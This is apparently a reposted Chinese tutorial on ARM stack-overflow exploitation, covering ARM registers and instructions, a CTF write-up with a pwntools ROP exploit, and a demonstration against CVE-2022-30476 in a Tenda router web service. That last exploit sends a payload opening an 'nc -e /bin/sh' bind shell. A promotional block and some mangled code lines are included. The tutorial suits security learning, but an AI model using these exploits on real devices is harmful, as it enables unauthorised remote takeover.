一、前言
在CTF比賽中,我們所能接觸到的大部分都是x86、x86_64架構的題目,而在我開始接觸IOT方向的研究以后發現智能設備所用到的則是ARM和MIPS架構為主,本篇文章在介紹前置知識的基礎上通過CTF的ARM架構型別題帶讀者更好的入門ARM PWN的世界,
二、前置知識
指令集
Intel和ARM之間的區別主要是指令集,Intel采用復雜指令集而ARM則是精簡指令集,精簡指令集通過減少每條指令的時鐘周期來縮短執行時間可以更快的執行指令,但因為指令較少因此在實作功能時會顯得比Intel冗長,
暫存器
暫存器是ARM架構的一個重點,在x86架構上指令可以直接對記憶體的資料進行操作,而在ARM架構中必須將記憶體的資料放入暫存器中再進行操作,而暫存器的數量取決于ARM的版本,而ARM32架構下共30個暫存器:
-
R0在常規操作中可用于存盤臨時值,也可以用于存盤函式的第一個引數或回傳結果
-
在ARM架構中約定指定函式前四個引數存盤在R0~R3暫存器中
-
R7暫存器在函式呼叫中負責存盤系統呼叫號
-
R11暫存器即可以用來記錄回溯資訊,也可以當做區域變數來使用
-
R13暫存器SP(堆疊指標)指向堆疊的頂部
-
R14暫存器LR(鏈接暫存器)在進行函式呼叫時,LR暫存器內保存呼叫函式的下一條指令地址,用于被呼叫函式(子函式)結束作業后回傳呼叫函式(父函式)
-
R15暫存器PC(程式計數器)類似于X86架構下的EIP暫存器負責保存目標地址,與x86不同的點在于PC在ARM狀態下存盤當前指令+8的地址,
ARM指令
這里參考 eack師傅在ARM基礎知識PPT中所列出指令的表格,在有了X86架構的基礎后去看下面這些指令還是很好理解的,
| 指令 | 功能 | 指令 | 功能 |
|---|---|---|---|
| MOV | 移動資料 | EOR | 按位異或 |
| MVN | 移動資料并取反 | LDR | 加載 |
| ADD | 加法 | STR | 存盤 |
| SUB | 減法 | LDM | 加載多個 |
| MUL | 乘法 | STM | 存盤多個 |
| LSL | 邏輯左移 | PUSH | 入堆疊 |
| LSR | 邏輯右移 | POP | 出堆疊 |
| ASR | 算術右移 | B | 跳轉 |
| ROR | 右旋 | BL | Link+跳轉 |
| CMP | 比較 | BX | 分支跳轉 |
| AND | 按位與 | BLX | Linx+分支跳轉 |
| ORR | 按位或 | SWI/SVC | 系統呼叫 |
這里需要單獨介紹一下LDR和STR兩個指令
-
LDR用于將某些內容從記憶體加載到暫存器中,例如
LDR R2, [R0]從R0暫存器中存盤的記憶體地址的值讀入R2暫存器 -
STR用于將某些內容從暫存器存盤到記憶體地址中,例如
STR R2, [R1]從R2暫存器中將值存盤到R1暫存器中的記憶體地址中
三、例題講解
這里以jarvisoj 的 typo 例題進行講解,題目可通過下方鏈接獲得?
https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo?
查看題目保護,arm-32-little架構的靜態鏈接檔案未開啟PIE和Canary保護,存在NX保護無法同時寫入shellcode來getshell
amalll@A-M:~/AM$ checksec pwn
[*] '/home/amalll/AM/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
amalll@A-M:~/AM$ file pwn
pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
因為程式去除了符號表的關系,我們可以使用rizzo插件來恢復符號表,可以從程式中發現system和/bin/sh等關鍵資訊地址,同時在跟隨程式流程注意到一處很明顯的堆疊溢位漏洞,getshell所需的條件都滿足了,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
這邊的利用思路就是通過堆疊溢位漏洞覆寫程式的回傳地址,在ARM架構下是覆寫要POP給PC暫存器的地址值,覆寫為一段可以同時控制R0和PC暫存器的GADGET,因為在ARM架構下函式約定R0暫存器作為函式的第一個引數存盤,所以我們可以控制R0暫存器指向/bin/sh地址,PC暫存器指向system函式的地址,即可GetShell,
+-------------+
| "a" * 112 |
+-------------+
| pop_gadget | <- return address
+-------------+
| /bin/sh |
+-------------+
| 0 |
+-------------+
| system_addr |
+-------------+
思路確定后,接下來就是具體的實作步驟,首先是堆疊溢位的偏移是多少,這里我們可以使用QEMU配合gdb-multiarch來得到堆疊溢位的偏移,首先用qemu-user啟動二進制程式
qemu-arm-static -g 1234 -L . ./pwn
然后啟動gdb-multiarch,執行遠程連接命令即可開始動調,后面的操作方式和x86架構的相同,使用cyclic生成過長字符然后通過溢位覆寫字串確定偏移
最后確定偏移為112,這里需要注意的是在ARM架構中如果跳轉的地址為奇數時會進入Thumb模式,進入Thumb模式后地址的最低位會從1變成0,所以如果通過此方法算出的地址值有錯誤時,可以通過查看$cpsr暫存器的低第六位值是否為1來判斷程式是否發生模式切換,而此處程式并未發生模式切換,所以最終我們的偏移就是112,
確定了偏移后,還需要一個可以同時可以控制R0和PC的gadget,這里使用ropper在程式中搜索到如下的一段gadget
0x00020904: pop {r0, r4, pc};
EXP
from pwn import *
?
p = process(['qemu-arm-static',"-L", "./", "./pwn"])
pop_r0_r4_pc = 0x00020904
system = 0x000110B4
sh = 0x006C384
?
payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system)
p.sendafter("Input ~ if you want to quit", "\n")
p.send(payload)
p.interactive()
?
四、實戰演示
這邊以CVE-2022-30476為例進行實戰arm堆疊溢位利用演示,關于韌體仿真的部分內容在復現Tenda 2018年的cve漏洞時就有所介紹這邊就不過多贅述,這邊還是以實際情況的漏洞復現為主,? web服務在獲取firmwallEn引數時未進行邊界檢測直接將引數值通過strcpy函式賦予dest變數,從而造成堆疊溢位漏洞,
我們通過cyclic測得堆疊溢位偏移為44,這里就涉及到我們剛才所說的Thumb模式切換的問題,實際的溢位偏移應為48,隨后我們可以使用vmmap命令查看qemu-user的記憶體布局,可以得到libc庫的基地址,? 這邊需要特別說明一下,新版本的pwndbg中關于qemu的兼容性較差,所以只能采用舊版本的插件進行記憶體布局查看,
與我們在ctf例題中所闡述的ROP構造思路相同,這里也是需要尋找能同時控制r0和pc兩個暫存器的gadget,很幸運的是此次尋找的gadget并未以\x00結尾
湊齊所有的利用條件后,撰寫EXP對webserver服務進行堆疊溢位攻擊
import requests
from pwn import *
?
url = 'http://192.168.2.1/goform/SetFirewallCfg'
libc = ELF("./lib/libc.so.0")
base = 0xff592000
system = base+libc.sym['system']
pop_r0_pc = base+0x0003db80 # pop {r0, pc};
stack = 0xfffef2c0
pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system)
pl+= 'nc -lp 8888 -e /bin/sh;\x00'
data = https://www.cnblogs.com/hetianlab/p/{'firewallEn':pl}
requests.post(url, data=https://www.cnblogs.com/hetianlab/p/data)
推薦實驗:
ARM漏洞利用技術四--記憶體布局及堆疊溢位 (合天網安實驗室)
搜索
復制
合天智匯:合天網路靶場、網安實戰虛擬環境轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/499760.html
標籤:其他
上一篇:HO引擎近況20220719
